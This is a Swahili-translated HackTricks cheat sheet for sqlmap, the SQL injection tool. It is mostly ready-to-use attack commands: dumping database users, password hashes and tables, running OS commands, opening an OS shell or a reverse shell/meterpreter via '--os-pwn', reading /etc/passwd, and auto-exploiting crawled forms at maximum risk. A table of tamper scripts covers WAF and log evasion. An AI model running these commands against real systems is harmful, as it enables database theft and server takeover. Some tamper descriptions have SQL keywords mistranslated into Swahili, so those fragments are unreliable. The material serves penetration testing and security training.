hacktricks/pentesting-web/sql-injection/sqlmap

SQLMap - Cheetsheat

{% hint style="success" %} Jifunze & fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze & fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Angalia mpango wa usajili!
• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.

{% endhint %}

Mipangilio inayopatikana mara moja kwa ajili ya tathmini ya udhaifu & pentesting. Endesha pentest kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwenye recon hadi ripoti. Hatubadilishi pentesters - tunatengeneza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

Msingi wa hoja za SQLmap

Kijumla

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Retrieve Information

Internal

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

Takwimu za DB

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Injection place

Kutoka kwa Burp/ZAP kukamata

Kamata ombi na uunde faili la req.txt

sqlmap -r req.txt --current-user

GET Request Injection

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST Request Injection

sqlmap -u "http://example.com" --data "username=*&password=*"

Injections katika Vichwa na Mbinu Nyingine za HTTP

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Onyesha mfuatano wakati sindano inafanikiwa

--string="string_showed_when_TRUE"

Eval

Sqlmap inaruhusu matumizi ya -e au --eval kuchakata kila payload kabla ya kuisafirisha na python oneliner. Hii inafanya iwe rahisi na haraka kuchakata kwa njia maalum payload kabla ya kuisafirisha. Katika mfano ufuatao flask cookie session imewekwa saini na flask kwa siri inayojulikana kabla ya kuisafirisha:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Soma Faili

--file-read=/etc/passwd

Tembelea tovuti kwa SQLmap na kuji-exploit moja kwa moja

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Uwekaji wa Pili

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Soma chapisho hili kuhusu jinsi ya kufanya sindano za pili rahisi na ngumu kwa kutumia sqlmap.

Kubadilisha Sindano

Weka kiambishi

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Kichwa cha Msingi

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Msaada wa kutafuta sindano ya boolean

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

Kumbuka kwamba unaweza kuunda tamper yako mwenyewe katika python na ni rahisi sana. Unaweza kupata mfano wa tamper katika ukurasa wa Second Order Injection hapa.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper

Tamper	Description
apostrophemask.py	Hubadilisha herufi ya apostrofi na sawa yake ya UTF-8 yenye upana kamili
apostrophenullencode.py	Hubadilisha herufi ya apostrofi na sawa yake isiyo halali ya unicode mara mbili
appendnullbyte.py	Huongeza herufi ya NULL byte iliyosimbwa mwishoni mwa payload
base64encode.py	Base64 herufi zote katika payload iliyotolewa
between.py	Hubadilisha opereta kubwa zaidi ('>') na 'SIO KATI YA 0 NA #'
bluecoat.py	Hubadilisha herufi ya nafasi baada ya taarifa ya SQL na herufi halali ya nasibu. Kisha hubadilisha herufi = na opereta LIKE
chardoubleencode.py	Huongeza url-encode mara mbili herufi zote katika payload iliyotolewa (sio kusindika zilizotangulia kusimbwa)
commalesslimit.py	Hubadilisha matukio kama 'LIMIT M, N' na 'LIMIT N OFFSET M'
commalessmid.py	Hubadilisha matukio kama 'MID(A, B, C)' na 'MID(A KUTOKA B KWA C)'
concat2concatws.py	Hubadilisha matukio kama 'CONCAT(A, B)' na 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py	Huongeza url-encode herufi zote katika payload iliyotolewa (sio kusindika zilizotangulia kusimbwa)
charunicodeencode.py	Huongeza unicode-url-encode herufi zisizosimbwa katika payload iliyotolewa (sio kusindika zilizotangulia kusimbwa). "%u0022"
charunicodeescape.py	Huongeza unicode-url-encode herufi zisizosimbwa katika payload iliyotolewa (sio kusindika zilizotangulia kusimbwa). "\u0022"
equaltolike.py	Hubadilisha matukio yote ya opereta sawa ('=') na opereta 'LIKE'
escapequotes.py	Huondoa kukwama kwa nukuu (' na ")
greatest.py	Hubadilisha opereta kubwa zaidi ('>') na sawa yake ya 'GREATEST'
halfversionedmorekeywords.py	Huongeza maoni ya MySQL yenye toleo kabla ya kila neno muhimu
ifnull2ifisnull.py	Hubadilisha matukio kama 'IFNULL(A, B)' na 'IF(ISNULL(A), B, A)'
modsecurityversioned.py	Huongeza maombi kamili na maoni yenye toleo
modsecurityzeroversioned.py	Huongeza maombi kamili na maoni yasiyo na toleo
multiplespaces.py	Huongeza nafasi nyingi kuzunguka maneno muhimu ya SQL
nonrecursivereplacement.py	Hubadilisha maneno muhimu ya SQL yaliyowekwa awali na uwakilishi unaofaa kwa kubadilisha (mfano: .replace("SELECT", "")) filters
percentage.py	Huongeza alama ya asilimia ('%') mbele ya kila herufi
overlongutf8.py	Hubadilisha herufi zote katika payload iliyotolewa (sio kusindika zilizotangulia kusimbwa)
randomcase.py	Hubadilisha kila herufi ya neno muhimu na thamani ya nasibu
randomcomments.py	Huongeza maoni ya nasibu kwa maneno muhimu ya SQL
securesphere.py	Huongeza mfuatano maalum wa kusanifu
sp_password.py	Huongeza 'sp_password' mwishoni mwa payload kwa ajili ya kuficha kiotomatiki kutoka kwa kumbukumbu za DBMS
space2comment.py	Hubadilisha herufi ya nafasi (' ') na maoni
space2dash.py	Hubadilisha herufi ya nafasi (' ') na maoni ya dash ('--') ikifuatiwa na mfuatano wa nasibu na mstari mpya ('\n')
space2hash.py	Hubadilisha herufi ya nafasi (' ') na herufi ya pound ('#') ikifuatiwa na mfuatano wa nasibu na mstari mpya ('\n')
space2morehash.py	Hubadilisha herufi ya nafasi (' ') na herufi ya pound ('#') ikifuatiwa na mfuatano wa nasibu na mstari mpya ('\n')
space2mssqlblank.py	Hubadilisha herufi ya nafasi (' ') na herufi ya nasibu kutoka seti halali ya herufi mbadala
space2mssqlhash.py	Hubadilisha herufi ya nafasi (' ') na herufi ya pound ('#') ikifuatiwa na mstari mpya ('\n')
space2mysqlblank.py	Hubadilisha herufi ya nafasi (' ') na herufi ya nasibu kutoka seti halali ya herufi mbadala
space2mysqldash.py	Hubadilisha herufi ya nafasi (' ') na maoni ya dash ('--') ikifuatiwa na mstari mpya ('\n')
space2plus.py	Hubadilisha herufi ya nafasi (' ') na plus ('+')
space2randomblank.py	Hubadilisha herufi ya nafasi (' ') na herufi ya nasibu kutoka seti halali ya herufi mbadala
symboliclogical.py	Hubadilisha opereta za AND na OR na sawa zao za alama (&& na
unionalltounion.py	Hubadilisha UNION ALL SELECT na UNION SELECT
unmagicquotes.py	Hubadilisha herufi ya nukuu (') na mchanganyiko wa byte nyingi %bf%27 pamoja na maoni ya jumla mwishoni (ili kufanya ifanye kazi)
uppercase.py	Hubadilisha kila herufi ya neno muhimu na thamani ya herufi kubwa 'INSERT'
varnish.py	Huongeza kichwa cha HTTP 'X-originating-IP'
versionedkeywords.py	Huweka kila neno muhimu lisilo la kazi na maoni ya MySQL yenye toleo
versionedmorekeywords.py	Huweka kila neno muhimu na maoni ya MySQL yenye toleo
xforwardedfor.py	Huongeza kichwa cha uwongo cha HTTP 'X-Forwarded-For'

Mipangilio inayopatikana mara moja kwa ajili ya tathmini ya udhaifu & pentesting. Endesha pentest kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwa recon hadi ripoti. Hatubadilishi wapimaji wa udhaifu - tunatengeneza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

{% hint style="success" %} Jifunze & fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze & fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Angalia mpango wa usajili!
• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au fuata sisi kwenye Twitter 🐦 @hacktricks_live.
• Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.

{% endhint %}